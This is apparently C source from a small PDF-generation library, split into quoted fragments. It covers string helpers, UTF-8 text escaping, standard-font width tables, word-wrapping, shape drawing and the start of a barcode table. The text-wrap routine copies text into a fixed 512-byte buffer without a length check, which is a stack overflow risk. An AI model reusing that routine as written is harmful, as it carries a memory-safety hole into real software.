\"Invalid parent ID %d supplied\", parent);\n obj->bookmark.parent = parent_obj;\n flexarray_append(&parent_obj->bookmark.children, obj);\n }", " return obj->index;\n}", "struct dstr {\n char *data;\n int alloc_len;\n int used_len;\n};", "static int dstr_ensure(struct dstr *str, int len)\n{\n if (str->alloc_len < len) {\n int new_len = len + 4096;\n char *new_data = realloc(str->data, new_len);\n if (!new_data)\n return -ENOMEM;\n str->data = new_data;\n str->alloc_len = new_len;\n }\n return 0;\n}", "static int dstr_printf(struct dstr *str, const char *fmt, ...)\n__attribute__((format(printf,2,3)));\nstatic int dstr_printf(struct dstr *str, const char *fmt, ...)\n{\n va_list ap, aq;\n int len;", " va_start(ap, fmt);\n va_copy(aq, ap);\n len = vsnprintf(NULL, 0, fmt, ap);\n if (dstr_ensure(str, str->used_len + len + 1) < 0) {\n va_end(ap);\n va_end(aq);\n return -ENOMEM;\n }\n vsprintf(&str->data[str->used_len], fmt, aq);\n str->used_len += len;\n va_end(ap);\n va_end(aq);", " return len;\n}", "static int dstr_append(struct dstr *str, const char *extend)\n{\n int len = strlen(extend);\n if (dstr_ensure(str, str->used_len + len + 1) < 0)\n return -ENOMEM;\n strcpy(&str->data[str->used_len], extend);\n str->used_len += len;\n return len;\n}", "static void dstr_free(struct dstr *str)\n{\n free(str->data);\n}", "static int utf8_to_utf32(const char *utf8, int len, uint32_t *utf32)\n{\n uint32_t ch = *utf8;\n int i;\n uint8_t mask;", " if ((ch & 0x80) == 0) {\n len = 1;\n mask = 0x7f;\n } else if ((ch & 0xe0) == 0xc0 && len >= 2) {\n len = 2;\n mask = 0x1f;\n } else if ((ch & 0xf0) == 0xe0 && len >= 3) {\n len = 3;\n mask = 0xf;\n } else if ((ch & 0xf8) == 0xf0 && len >= 4) {\n len = 4;\n mask = 0x7;\n } else\n return -EINVAL;", " ch = 0;\n for (i = 0; i < len; i++) {\n int shift = (len - i - 1) * 6;\n if (i == 0)\n ch |= ((uint32_t)(*utf8++) & mask) << shift;\n else\n ch |= ((uint32_t)(*utf8++) & 0x3f) << shift;\n }", " *utf32 = ch;", " return len;\n}", "int pdf_add_text(struct pdf_doc *pdf, struct pdf_object *page,\n const char *text, int size, int xoff, int yoff,\n uint32_t colour)\n{\n int i, ret;\n int len = text ? strlen(text) : 0;\n struct dstr str = {0, 0, 0};", " /* Don't bother adding empty/null strings */\n if (!len)\n return 0;", " dstr_append(&str, \"BT \");\n dstr_printf(&str, \"%d %d TD \", xoff, yoff);\n dstr_printf(&str, \"/F%d %d Tf \",\n pdf->current_font->font.index, size);\n dstr_printf(&str, \"%f %f %f rg \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_append(&str, \"(\");", " /* Escape magic characters properly */\n for (i = 0; i < len; ) {\n uint32_t code;\n int code_len;\n code_len = utf8_to_utf32(&text[i], len - i, &code);\n if (code_len < 0) {\n dstr_free(&str);\n return pdf_set_err(pdf, -EINVAL, \"Invalid UTF-8 encoding\");\n }", " if (code > 255) {\n /* We support *some* minimal UTF-8 characters */\n char buf[5] = {0};\n switch (code) {\n case 0x160:\n buf[0] = (char)0x8a;\n break;\n case 0x161:\n buf[0] = (char)0x9a;\n break;\n case 0x17d:\n buf[0] = (char)0x8e;\n break;\n case 0x17e:\n buf[0] = (char)0x9e;\n break;\n case 0x20ac:\n strcpy(buf, \"\\\\200\");\n break;\n default:\n dstr_free(&str);\n return pdf_set_err(pdf, -EINVAL, \"Unsupported UTF-8 character: 0x%x 0o%o\", code, code);\n }\n dstr_append(&str, buf);\n } else if (strchr(\"()\\\\\", code)) {\n char buf[3];\n /* Escape some characters */\n buf[0] = '\\\\';\n buf[1] = code;\n buf[2] = '\\0';\n dstr_append(&str, buf);\n } else if (strrchr(\"\\n\\r\\t\\b\\f\", code)) {\n /* Skip over these characters */\n ;\n } else {\n char buf[2];\n buf[0] = code;\n buf[1] = '\\0';\n dstr_append(&str, buf);\n }", " i += code_len;\n }\n dstr_append(&str, \") Tj \");\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);\n return ret;\n}", "/* How wide is each character, in points, at size 14 */\nstatic const uint16_t helvetica_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 355, 556, 556, 889, 667, 191,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 278, 278, 584, 584, 584, 556,\n 1015, 667, 667, 722, 722, 667, 611, 778,\n 722, 278, 500, 667, 556, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 278, 278, 278, 469, 556,\n 333, 556, 556, 500, 556, 556, 278, 556,\n 556, 222, 222, 500, 222, 833, 556, 556,\n 556, 556, 333, 500, 278, 556, 500, 722,\n 500, 500, 500, 334, 260, 334, 584, 350,\n 556, 350, 222, 556, 333, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 222, 222, 333, 333, 350, 556, 1000,\n 333, 1000, 500, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 260, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 556, 537, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 667, 667, 667, 667, 667, 667, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 500,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 584,\n 611, 556, 556, 556, 556, 500, 556, 500\n};", "static const uint16_t helvetica_bold_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 333, 474, 556, 556, 889, 722, 238,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 333, 333, 584, 584, 584, 611,\n 975, 722, 722, 722, 722, 667, 611, 778,\n 722, 278, 556, 722, 611, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 333, 278, 333, 584, 556,\n 333, 556, 611, 556, 611, 556, 333, 611,\n 611, 278, 278, 556, 278, 889, 611, 611,\n 611, 611, 389, 556, 333, 611, 556, 778,\n 556, 556, 500, 389, 280, 389, 584, 350,\n 556, 350, 278, 556, 500, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 278, 278, 500, 500, 350, 556, 1000,\n 333, 1000, 556, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 280, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 611, 556, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 722, 722, 722, 722, 722, 722, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 556,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 611, 611, 611, 611, 611, 611, 611, 584,\n 611, 611, 611, 611, 611, 556, 611, 556\n};", "static uint16_t helvetica_bold_oblique_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 333, 474, 556, 556, 889, 722, 238,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 333, 333, 584, 584, 584, 611,\n 975, 722, 722, 722, 722, 667, 611, 778,\n 722, 278, 556, 722, 611, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 333, 278, 333, 584, 556,\n 333, 556, 611, 556, 611, 556, 333, 611,\n 611, 278, 278, 556, 278, 889, 611, 611,\n 611, 611, 389, 556, 333, 611, 556, 778,\n 556, 556, 500, 389, 280, 389, 584, 350,\n 556, 350, 278, 556, 500, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 278, 278, 500, 500, 350, 556, 1000,\n 333, 1000, 556, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 280, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 611, 556, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 722, 722, 722, 722, 722, 722, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 556,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 611, 611, 611, 611, 611, 611, 611, 584,\n 611, 611, 611, 611, 611, 556, 611, 556\n};", "static uint16_t helvetica_oblique_widths[256] = {\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 278, 278, 278, 278, 278, 278,\n 278, 278, 355, 556, 556, 889, 667, 191,\n 333, 333, 389, 584, 278, 333, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 556,\n 556, 556, 278, 278, 584, 584, 584, 556,\n 1015, 667, 667, 722, 722, 667, 611, 778,\n 722, 278, 500, 667, 556, 833, 722, 778,\n 667, 778, 722, 667, 611, 722, 667, 944,\n 667, 667, 611, 278, 278, 278, 469, 556,\n 333, 556, 556, 500, 556, 556, 278, 556,\n 556, 222, 222, 500, 222, 833, 556, 556,\n 556, 556, 333, 500, 278, 556, 500, 722,\n 500, 500, 500, 334, 260, 334, 584, 350,\n 556, 350, 222, 556, 333, 1000, 556, 556,\n 333, 1000, 667, 333, 1000, 350, 611, 350,\n 350, 222, 222, 333, 333, 350, 556, 1000,\n 333, 1000, 500, 333, 944, 350, 500, 667,\n 278, 333, 556, 556, 556, 556, 260, 556,\n 333, 737, 370, 556, 584, 333, 737, 333,\n 400, 584, 333, 333, 333, 556, 537, 278,\n 333, 333, 365, 556, 834, 834, 834, 611,\n 667, 667, 667, 667, 667, 667, 1000, 722,\n 667, 667, 667, 667, 278, 278, 278, 278,\n 722, 722, 778, 778, 778, 778, 778, 584,\n 778, 722, 722, 722, 722, 667, 667, 611,\n 556, 556, 556, 556, 556, 556, 889, 500,\n 556, 556, 556, 556, 278, 278, 278, 278,\n 556, 556, 556, 556, 556, 556, 556, 584,\n 611, 556, 556, 556, 556, 500, 556, 500\n};", "static uint16_t symbol_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 713, 500, 549, 833, 778, 439,\n 333, 333, 500, 549, 250, 549, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 278, 278, 549, 549, 549, 444,\n 549, 722, 667, 722, 612, 611, 763, 603,\n 722, 333, 631, 722, 686, 889, 722, 722,\n 768, 741, 556, 592, 611, 690, 439, 768,\n 645, 795, 611, 333, 863, 333, 658, 500,\n 500, 631, 549, 549, 494, 439, 521, 411,\n 603, 329, 603, 549, 549, 576, 521, 549,\n 549, 521, 549, 603, 439, 576, 713, 686,\n 493, 686, 494, 480, 200, 480, 549, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 750, 620, 247, 549, 167, 713, 500, 753,\n 753, 753, 753, 1042, 987, 603, 987, 603,\n 400, 549, 411, 549, 549, 713, 494, 460,\n 549, 549, 549, 549, 1000, 603, 1000, 658,\n 823, 686, 795, 987, 768, 768, 823, 768,\n 768, 713, 713, 713, 713, 713, 713, 713,\n 768, 713, 790, 790, 890, 823, 549, 250,\n 713, 603, 603, 1042, 987, 603, 987, 603,\n 494, 329, 790, 790, 786, 713, 384, 384,\n 384, 384, 384, 384, 494, 494, 494, 494,\n 0, 329, 274, 686, 686, 686, 384, 384,\n 384, 384, 384, 384, 494, 494, 494, 0\n};", "static uint16_t times_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 408, 500, 500, 833, 778, 180,\n 333, 333, 500, 564, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 278, 278, 564, 564, 564, 444,\n 921, 722, 667, 667, 722, 611, 556, 722,\n 722, 333, 389, 722, 611, 889, 722, 722,\n 556, 722, 667, 556, 611, 722, 722, 944,\n 722, 722, 611, 333, 278, 333, 469, 500,\n 333, 444, 500, 444, 500, 444, 333, 500,\n 500, 278, 278, 500, 278, 778, 500, 500,\n 500, 500, 333, 389, 278, 500, 500, 722,\n 500, 500, 444, 480, 200, 480, 541, 350,\n 500, 350, 333, 500, 444, 1000, 500, 500,\n 333, 1000, 556, 333, 889, 350, 611, 350,\n 350, 333, 333, 444, 444, 350, 500, 1000,\n 333, 980, 389, 333, 722, 350, 444, 722,\n 250, 333, 500, 500, 500, 500, 200, 500,\n 333, 760, 276, 500, 564, 333, 760, 333,\n 400, 564, 300, 300, 333, 500, 453, 250,\n 333, 300, 310, 500, 750, 750, 750, 444,\n 722, 722, 722, 722, 722, 722, 889, 667,\n 611, 611, 611, 611, 333, 333, 333, 333,\n 722, 722, 722, 722, 722, 722, 722, 564,\n 722, 722, 722, 722, 722, 722, 556, 500,\n 444, 444, 444, 444, 444, 444, 667, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 500, 500, 500, 500, 500, 500, 564,\n 500, 500, 500, 500, 500, 500, 500, 500\n};", "static uint16_t times_bold_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 555, 500, 500, 1000, 833, 278,\n 333, 333, 500, 570, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 333, 333, 570, 570, 570, 500,\n 930, 722, 667, 722, 722, 667, 611, 778,\n 778, 389, 500, 778, 667, 944, 722, 778,\n 611, 778, 722, 556, 667, 722, 722, 1000,\n 722, 722, 667, 333, 278, 333, 581, 500,\n 333, 500, 556, 444, 556, 444, 333, 500,\n 556, 278, 333, 556, 278, 833, 556, 500,\n 556, 556, 444, 389, 333, 556, 500, 722,\n 500, 500, 444, 394, 220, 394, 520, 350,\n 500, 350, 333, 500, 500, 1000, 500, 500,\n 333, 1000, 556, 333, 1000, 350, 667, 350,\n 350, 333, 333, 500, 500, 350, 500, 1000,\n 333, 1000, 389, 333, 722, 350, 444, 722,\n 250, 333, 500, 500, 500, 500, 220, 500,\n 333, 747, 300, 500, 570, 333, 747, 333,\n 400, 570, 300, 300, 333, 556, 540, 250,\n 333, 300, 330, 500, 750, 750, 750, 500,\n 722, 722, 722, 722, 722, 722, 1000, 722,\n 667, 667, 667, 667, 389, 389, 389, 389,\n 722, 722, 778, 778, 778, 778, 778, 570,\n 778, 722, 722, 722, 722, 722, 611, 556,\n 500, 500, 500, 500, 500, 500, 722, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 556, 500, 500, 500, 500, 500, 570,\n 500, 556, 556, 556, 556, 500, 556, 500\n} ;", "static uint16_t times_bold_italic_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 389, 555, 500, 500, 833, 778, 278,\n 333, 333, 500, 570, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 333, 333, 570, 570, 570, 500,\n 832, 667, 667, 667, 722, 667, 667, 722,\n 778, 389, 500, 667, 611, 889, 722, 722,\n 611, 722, 667, 556, 611, 722, 667, 889,\n 667, 611, 611, 333, 278, 333, 570, 500,\n 333, 500, 500, 444, 500, 444, 333, 500,\n 556, 278, 278, 500, 278, 778, 556, 500,\n 500, 500, 389, 389, 278, 556, 444, 667,\n 500, 444, 389, 348, 220, 348, 570, 350,\n 500, 350, 333, 500, 500, 1000, 500, 500,\n 333, 1000, 556, 333, 944, 350, 611, 350,\n 350, 333, 333, 500, 500, 350, 500, 1000,\n 333, 1000, 389, 333, 722, 350, 389, 611,\n 250, 389, 500, 500, 500, 500, 220, 500,\n 333, 747, 266, 500, 606, 333, 747, 333,\n 400, 570, 300, 300, 333, 576, 500, 250,\n 333, 300, 300, 500, 750, 750, 750, 500,\n 667, 667, 667, 667, 667, 667, 944, 667,\n 667, 667, 667, 667, 389, 389, 389, 389,\n 722, 722, 722, 722, 722, 722, 722, 570,\n 722, 722, 722, 722, 722, 611, 611, 500,\n 500, 500, 500, 500, 500, 500, 722, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 556, 500, 500, 500, 500, 500, 570,\n 500, 556, 556, 556, 556, 444, 500, 444\n};", "static uint16_t times_italic_widths[256] = {\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 250, 250, 250, 250, 250, 250, 250,\n 250, 333, 420, 500, 500, 833, 778, 214,\n 333, 333, 500, 675, 250, 333, 250, 278,\n 500, 500, 500, 500, 500, 500, 500, 500,\n 500, 500, 333, 333, 675, 675, 675, 500,\n 920, 611, 611, 667, 722, 611, 611, 722,\n 722, 333, 444, 667, 556, 833, 667, 722,\n 611, 722, 611, 500, 556, 722, 611, 833,\n 611, 556, 556, 389, 278, 389, 422, 500,\n 333, 500, 500, 444, 500, 444, 278, 500,\n 500, 278, 278, 444, 278, 722, 500, 500,\n 500, 500, 389, 389, 278, 500, 444, 667,\n 444, 444, 389, 400, 275, 400, 541, 350,\n 500, 350, 333, 500, 556, 889, 500, 500,\n 333, 1000, 500, 333, 944, 350, 556, 350,\n 350, 333, 333, 556, 556, 350, 500, 889,\n 333, 980, 389, 333, 667, 350, 389, 556,\n 250, 389, 500, 500, 500, 500, 275, 500,\n 333, 760, 276, 500, 675, 333, 760, 333,\n 400, 675, 300, 300, 333, 500, 523, 250,\n 333, 300, 310, 500, 750, 750, 750, 500,\n 611, 611, 611, 611, 611, 611, 889, 667,\n 611, 611, 611, 611, 333, 333, 333, 333,\n 722, 667, 722, 722, 722, 722, 722, 675,\n 722, 722, 722, 722, 722, 556, 611, 500,\n 500, 500, 500, 500, 500, 500, 667, 444,\n 444, 444, 444, 444, 278, 278, 278, 278,\n 500, 500, 500, 500, 500, 500, 500, 675,\n 500, 500, 500, 500, 500, 444, 500, 444\n};", "static uint16_t zapfdingbats_widths[256] = {\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 278, 974, 961, 974, 980, 719, 789, 790,\n 791, 690, 960, 939, 549, 855, 911, 933,\n 911, 945, 974, 755, 846, 762, 761, 571,\n 677, 763, 760, 759, 754, 494, 552, 537,\n 577, 692, 786, 788, 788, 790, 793, 794,\n 816, 823, 789, 841, 823, 833, 816, 831,\n 923, 744, 723, 749, 790, 792, 695, 776,\n 768, 792, 759, 707, 708, 682, 701, 826,\n 815, 789, 789, 707, 687, 696, 689, 786,\n 787, 713, 791, 785, 791, 873, 761, 762,\n 762, 759, 759, 892, 892, 788, 784, 438,\n 138, 277, 415, 392, 392, 668, 668, 0,\n 390, 390, 317, 317, 276, 276, 509, 509,\n 410, 410, 234, 234, 334, 334, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 732, 544, 544, 910, 667, 760, 760,\n 776, 595, 694, 626, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 788, 788, 788, 788,\n 788, 788, 788, 788, 894, 838, 1016, 458,\n 748, 924, 748, 918, 927, 928, 928, 834,\n 873, 828, 924, 924, 917, 930, 931, 463,\n 883, 836, 836, 867, 867, 696, 696, 874,\n 0, 874, 760, 946, 771, 865, 771, 888,\n 967, 888, 831, 873, 927, 970, 918, 0\n};", "static uint16_t courier_widths[256] = {\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n 600, 600, 600, 600, 600, 600, 600, 600,\n};", "static int pdf_text_pixel_width(const char *text, int text_len, int size,\n const uint16_t *widths)\n{\n int i;\n int len = 0;\n if (text_len < 0)\n text_len = strlen(text);", " for (i = 0; i < text_len; i++)\n len += widths[(uint8_t)text[i]];", " /* Our widths arrays are for 14pt fonts */\n return len * size / (14 * 72);\n}", "static const uint16_t *find_font_widths(const char *font_name)\n{\n if (strcmp(font_name, \"Helvetica\") == 0)\n return helvetica_widths;\n if (strcmp(font_name, \"Helvetica-Bold\") == 0)\n return helvetica_bold_widths;\n if (strcmp(font_name, \"Helvetica-BoldOblique\") == 0)\n return helvetica_bold_oblique_widths;\n if (strcmp(font_name, \"Helvetica-Oblique\") == 0)\n return helvetica_oblique_widths;\n if (strcmp(font_name, \"Courier\") == 0 ||\n strcmp(font_name, \"Courier-Bold\") == 0 ||\n strcmp(font_name, \"Courier-BoldOblique\") == 0 ||\n strcmp(font_name, \"Courier-Oblique\") == 0)\n return courier_widths;\n if (strcmp(font_name, \"Times-Roman\") == 0)\n return times_widths;\n if (strcmp(font_name, \"Times-Bold\") == 0)\n return times_bold_widths;\n if (strcmp(font_name, \"Times-Italic\") == 0)\n return times_italic_widths;\n if (strcmp(font_name, \"Times-BoldItalic\") == 0)\n return times_bold_italic_widths;\n if (strcmp(font_name, \"Symbol\") == 0)\n return symbol_widths;\n if (strcmp(font_name, \"ZapfDingbats\") == 0)\n return zapfdingbats_widths;", " return NULL;\n}", "int pdf_get_font_text_width(struct pdf_doc *pdf, const char *font_name,\n const char *text, int size)\n{\n const uint16_t *widths = find_font_widths(font_name);", " if (!widths)\n return pdf_set_err(pdf, -EINVAL, \"Unable to determine width for font '%s'\",\n pdf->current_font->font.name);\n return pdf_text_pixel_width(text, -1, size, widths);\n}", "static const char *find_word_break(const char *string)\n{\n /* Skip over the actual word */\n while (string && *string && !isspace(*string))\n string++;", " return string;\n}", "int pdf_add_text_wrap(struct pdf_doc *pdf, struct pdf_object *page,\n const char *text, int size, int xoff, int yoff,\n uint32_t colour, int wrap_width)\n{\n /* Move through the text string, stopping at word boundaries,\n * trying to find the longest text string we can fit in the given width\n */\n const char *start = text;\n const char *last_best = text;\n const char *end = text;\n char line[512];\n const uint16_t *widths;\n int orig_yoff = yoff;", " widths = find_font_widths(pdf->current_font->font.name);\n if (!widths)\n return pdf_set_err(pdf, -EINVAL, \"Unable to determine width for font '%s'\",\n pdf->current_font->font.name);", " while (start && *start) {\n const char *new_end = find_word_break(end + 1);\n int line_width;\n int output = 0;", " end = new_end;", " line_width = pdf_text_pixel_width(start, end - start, size, widths);", " if (line_width >= wrap_width) {\n if (last_best == start) {\n /* There is a single word that is too long for the line */\n int i;\n /* Find the best character to chop it at */\n for (i = end - start - 1; i > 0; i--)\n if (pdf_text_pixel_width(start, i, size, widths) < wrap_width)\n break;", " end = start + i;\n } else\n end = last_best;\n output = 1;\n }\n if (*end == '\\0')\n output = 1;", " if (*end == '\\n' || *end == '\\r')\n output = 1;", " if (output) {\n int len = end - start;\n strncpy(line, start, len);\n line[len] = '\\0';\n pdf_add_text(pdf, page, line, size, xoff, yoff, colour);", " if (*end == ' ')\n end++;", " start = last_best = end;\n yoff -= size;\n } else\n last_best = end;\n }", " return orig_yoff - yoff;\n}", "\nint pdf_add_line(struct pdf_doc *pdf, struct pdf_object *page,\n int x1, int y1, int x2, int y2, int width, uint32_t colour)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT\\r\\n\");\n dstr_printf(&str, \"%d w\\r\\n\", width);\n dstr_printf(&str, \"%d %d m\\r\\n\", x1, y1);\n dstr_printf(&str, \"/DeviceRGB CS\\r\\n\");\n dstr_printf(&str, \"%f %f %f RG\\r\\n\",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d %d l S\\r\\n\", x2, y2);\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "int pdf_add_circle(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int radius, int width, uint32_t colour, bool filled)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT \");\n if (filled)\n dstr_printf(&str, \"%f %f %f rg \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n else\n dstr_printf(&str, \"%f %f %f RG \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d w \", width);\n /* This is a bit of a rough approximation of a circle based on bezier curves.\n * It's not exact\n */\n dstr_printf(&str, \"%d %d m \", x + radius, y);\n dstr_printf(&str, \"%d %d %d %d v \", x + radius, y + radius, x, y + radius);\n dstr_printf(&str, \"%d %d %d %d v \", x - radius, y + radius, x - radius, y);\n dstr_printf(&str, \"%d %d %d %d v \", x - radius, y - radius, x, y - radius);\n dstr_printf(&str, \"%d %d %d %d v \", x + radius, y - radius, x + radius, y);\n if (filled)\n dstr_append(&str, \"f \");\n else\n dstr_append(&str, \"S \");\n dstr_append(&str, \"ET\");\n ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "int pdf_add_rectangle(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height, int border_width,\n uint32_t colour)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT \");\n dstr_printf(&str, \"%f %f %f RG \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d w \", border_width);\n dstr_printf(&str, \"%d %d %d %d re S \", x, y, width, height);\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "int pdf_add_filled_rectangle(struct pdf_doc *pdf, struct pdf_object *page,\n int x, int y, int width, int height,\n int border_width, uint32_t colour)\n{\n int ret;\n struct dstr str = {0, 0, 0};", " dstr_append(&str, \"BT \");\n dstr_printf(&str, \"%f %f %f rg \",\n PDF_RGB_R(colour), PDF_RGB_G(colour), PDF_RGB_B(colour));\n dstr_printf(&str, \"%d w \", border_width);\n dstr_printf(&str, \"%d %d %d %d re f \", x, y, width, height);\n dstr_append(&str, \"ET\");", " ret = pdf_add_stream(pdf, page, str.data);\n dstr_free(&str);", " return ret;\n}", "static const struct {\n uint32_t code;\n char ch;\n} code_128a_encoding[] = {\n {0x212222, ' '},\n {0x222122, '!'},\n {0x222221, '\"'},\n {0x121223, '#'},\n {0x121322, '$'},\n {0x131222, '%'},\n {0x122213, '&'},\n {0x122312, '\\''},\n {0x132212, '('},\n {0x221213, ')'},\n {0x221312, '*'},\n {0x231212, '+'},\n {0x112232, ','},\n {0x122132, '-'},\n {0x122231, '.'},\n {0x113222, '/'},\n 